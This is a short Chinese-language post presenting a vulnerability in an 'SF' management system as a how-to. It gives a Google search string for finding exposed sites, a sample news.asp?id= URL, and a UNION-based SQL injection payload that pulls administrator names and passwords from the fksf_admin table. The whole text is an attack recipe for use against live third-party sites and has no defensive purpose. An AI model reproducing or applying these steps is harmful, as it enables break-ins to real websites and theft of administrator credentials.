SF管理系统漏洞

使用方法:

使用google搜索:inurl:xqgslist.asp

随便点击一个公告。http://域名/news.asp?id=36

加入:xor 1=2 union select 1,2,adminname,adminpwd,5 from fksf_admin